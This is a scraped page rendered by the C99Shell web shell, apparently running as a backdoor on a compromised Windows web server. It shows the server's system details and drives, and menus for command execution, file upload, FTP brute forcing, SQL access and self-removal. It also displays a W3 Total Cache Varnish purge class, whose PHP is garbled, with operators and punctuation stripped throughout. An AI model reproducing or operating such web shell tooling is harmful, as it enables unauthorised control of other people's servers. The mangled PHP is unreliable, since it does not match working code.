!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\cumbreclima\wp-content\plugins\w3-total-cache\lib\W3\   drwxrwxrwx
Free 4.11 GB of 39.52 GB (10.39%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     VarnishFlush.php (9.61 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * W3 Varnish flushing
 */

w3_require_once(W3TC_LIB_W3_DIR '/Varnish.php');

/**
 * Class W3_VarnishFlush
 */
class W3_VarnishFlush extends W3_Varnish {

    
/**
     * Array of already flushed urls
     * @var array
     */
    
private $_flushed_urls = array();

    
/**
     * Array of urls that is known will be flushed more than once
     * @var array
     */
    
private $_repeated_urls = array();

    private 
$_flushes 0;

    
/**
     * Flush varnish cache
     */
    
function flush() {
        if (!
is_network_admin()) {
            
$this->_purge(w3_get_home_url().'/.*');
        } else {
            global 
$wpdb;
            
$protocall w3_is_https() ? 'https://' 'http://';

            
// If WPMU Domain Mapping plugin is installed and active
            
if (defined('SUNRISE_LOADED') && SUNRISE_LOADED && isset($wpdb->dmtable) && !empty($wpdb->dmtable)) {
                
$blogs $wpdb->get_results("SELECT {$wpdb->blogs}.domain, {$wpdb->blogs}.path, {$wpdb->dmtable}.domain AS mapped_domain
                                    FROM 
{$wpdb->dmtable}
                                    RIGHT JOIN 
{$wpdb->blogs} ON {$wpdb->dmtable}.blog_id = {$wpdb->blogs}.blog_id
                                    WHERE site_id = 
{$wpdb->siteid}
                                    AND spam = 0
                                    AND deleted = 0
                                    AND archived = '0'
                                   "
);
                foreach(
$blogs as $blog) {
                    if (!isset(
$blog->mapped_domain))
                        
$url $protocall $blog->domain . (strlen($blog->path)>1'/' trim($blog->path'/') : '') . '/.*';
                    else
                        
$url $protocall $blog->mapped_domain '/.*';
                    
$this->_purge($url);
                }

            }else {
                if (!
w3_is_subdomain_install()) {
                    
$this->_purge(w3_get_home_url().'/.*');
                } else {
                    
$blogs $wpdb->get_results("
                                        SELECT domain, path
                                        FROM 
{$wpdb->blogs}
                                        WHERE site_id = '
{$wpdb->siteid}'
                                        AND spam = 0
                                        AND deleted = 0
                                        AND archived = '0'
                                    "
);

                    foreach(
$blogs as $blog) {
                        
$url $protocall $blog->domain . (strlen($blog->path)>1'/' trim($blog->path'/') : '') . '/.*';
                        
$this->_purge($url);
                    }
                }
            }
        }
    }

    
/**
     * Flushes varnish post cache
     *
     * @param integer $post_id
     * @return boolean
     */
    
function flush_post($post_id) {
        if (!
$post_id) {
            
$post_id w3_detect_post_id();
        }

        if (
$post_id) {
            
$full_urls = array();
            
$global_urls = array();

            
$post null;
            
$terms = array();

            
$feeds $this->_config->get_array('pgcache.purge.feed.types');
            
$limit_post_pages $this->_config->get_integer('pgcache.purge.postpages_limit');

            if (
$this->_config->get_boolean('pgcache.purge.terms') || $this->_config->get_boolean('varnish.pgcache.feed.terms')) {
                
$taxonomies get_post_taxonomies($post_id);
                
$terms wp_get_post_terms($post_id$taxonomies);
            }
            
/**
             * @var $purge_urls W3_SharedPageUrls
             */
            
$purge_urls w3_instance('W3_SharedPageUrls');
            switch (
true) {
                case 
$this->_config->get_boolean('pgcache.purge.author'):
                case 
$this->_config->get_boolean('pgcache.purge.archive.daily'):
                case 
$this->_config->get_boolean('pgcache.purge.archive.monthly'):
                case 
$this->_config->get_boolean('pgcache.purge.archive.yearly'):
                case 
$this->_config->get_boolean('pgcache.purge.feed.author'):
                    
$post get_post($post_id);
            }

            
$front_page get_option('show_on_front');

            
/**
             * Home (Frontpage) URL
             */
            
if (($this->_config->get_boolean('pgcache.purge.home') && $front_page == 'posts')||
                
$this->_config->get_boolean('pgcache.purge.front_page')) {
                
$global_urls array_merge($global_urls$purge_urls->get_frontpage_urls($limit_post_pages));
            }

            
/**
             * Home (Post page) URL
             */
            
if($this->_config->get_boolean('pgcache.purge.home') && $front_page != 'posts') {
                
$global_urls array_merge($global_urls$purge_urls->get_postpage_urls($limit_post_pages));
            }

            
/**
             * Post URL
             */
            
if ($this->_config->get_boolean('pgcache.purge.post')) {
                
$full_urls array_merge($full_urls$purge_urls->get_post_urls($post_id));
            }

            
/**
             * Post comments URLs
             */
            
if ($this->_config->get_boolean('pgcache.purge.comments') && function_exists('get_comments_pagenum_link')) {
                
$full_urls array_merge($full_urls$purge_urls->get_post_comments_urls($post_id));
            }

            
/**
             * Post author URLs
             */
            
if ($this->_config->get_boolean('pgcache.purge.author') && $post) {
                
$full_urls array_merge($full_urls$purge_urls->get_post_author_urls($post->post_author$limit_post_pages));
            }

            
/**
             * Post terms URLs
             */
            
if ($this->_config->get_boolean('pgcache.purge.terms')) {
                
$full_urls array_merge($full_urls$purge_urls->get_post_terms_urls($terms$limit_post_pages));
            }

            
/**
             * Daily archive URLs
             */
            
if ($this->_config->get_boolean('pgcache.purge.archive.daily') && $post) {
                
$full_urls array_merge($full_urls$purge_urls->get_daily_archive_urls($post$limit_post_pages));
            }

            
/**
             * Monthly archive URLs
             */
            
if ($this->_config->get_boolean('pgcache.purge.archive.monthly') && $post) {
                
$full_urls array_merge($full_urls$purge_urls->get_monthly_archive_urls($post$limit_post_pages));
            }

            
/**
             * Yearly archive URLs
             */
            
if ($this->_config->get_boolean('pgcache.purge.archive.yearly') && $post) {
                
$full_urls array_merge($full_urls$purge_urls->get_yearly_archive_urls($post$limit_post_pages));
            }

            
/**
             * Feed URLs
             */
            
if ($this->_config->get_boolean('pgcache.purge.feed.blog')) {
                
$global_urls array_merge($global_urls$purge_urls->get_feed_urls($feeds));
            }

            if (
$this->_config->get_boolean('pgcache.purge.feed.comments')) {
                
$full_urls array_merge($full_urls$purge_urls->get_feed_comments_urls($post_id$feeds));
            }

            if (
$this->_config->get_boolean('pgcache.purge.feed.author') && $post) {
                
$full_urls array_merge($full_urls$purge_urls->get_feed_author_urls($post->post_author$feeds));
            }

            if (
$this->_config->get_boolean('pgcache.purge.feed.terms')) {
                
$full_urls array_merge($full_urls$purge_urls->get_feed_terms_urls($terms$feeds));
            }

            
/**
             * Purge selected pages
             */
            
if ($this->_config->get_array('pgcache.purge.pages')) {
                
$pages $this->_config->get_array('pgcache.purge.pages');
                
$full_urls array_merge($full_urls$purge_urls->get_pages_urls($pages));
            }

            if(
$this->_config->get_string('pgcache.purge.sitemap_regex')) {
                
$sitemap_regex $this->_config->get_string('pgcache.purge.sitemap_regex');
                
$full_urls[] = w3_get_domain_url() . '/' trim($sitemap_regex"^$");
            }

            if (
$this->_do_flush_global_urls()) {
                
$full_urls array_merge($global_urls$full_urls);
            } elseif (
$this->_flushes == 0) {
                
$this->_repeated_urls $global_urls;
            }

            
/**
             * Flush cache
             */
            
if (count($full_urls)) {
                
$this->_flushes++;
                foreach (
$full_urls as $url) {
                    if (!
in_array($url$this->_repeated_urls) && !in_array($url$this->_flushed_urls)) {
                        
$this->_flushed_urls[] = $url;
                        
$this->flush_url($url);
                    } elseif (!
in_array($url$this->_repeated_urls)) {
                        
$this->_repeated_urls[] = $url;
                    }
                }
            }

            return 
true;
        }

        return 
false;
    }

    
/**
     * Flush a single url
     * @param $url
     */
    
function flush_url($url) {
        
$this->_purge($url);
    }

    
/**
     * Flushes global and repeated urls
     */
    
function flush_post_cleanup() {
        if (
$this->_repeated_urls) {
            foreach(
$this->_repeated_urls as $url) {
                
$this->flush_url($url);
            }
        }
    }

    
/**
     * If should separate out global urls
     * @return bool
     */
    
function _do_flush_global_urls() {
        global 
$pagenow;
        if (isset(
$pagenow) && $pagenow == 'edit.php' || (defined('DOING_SNS') && DOING_SNS))
            return 
false;
        return 
true;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--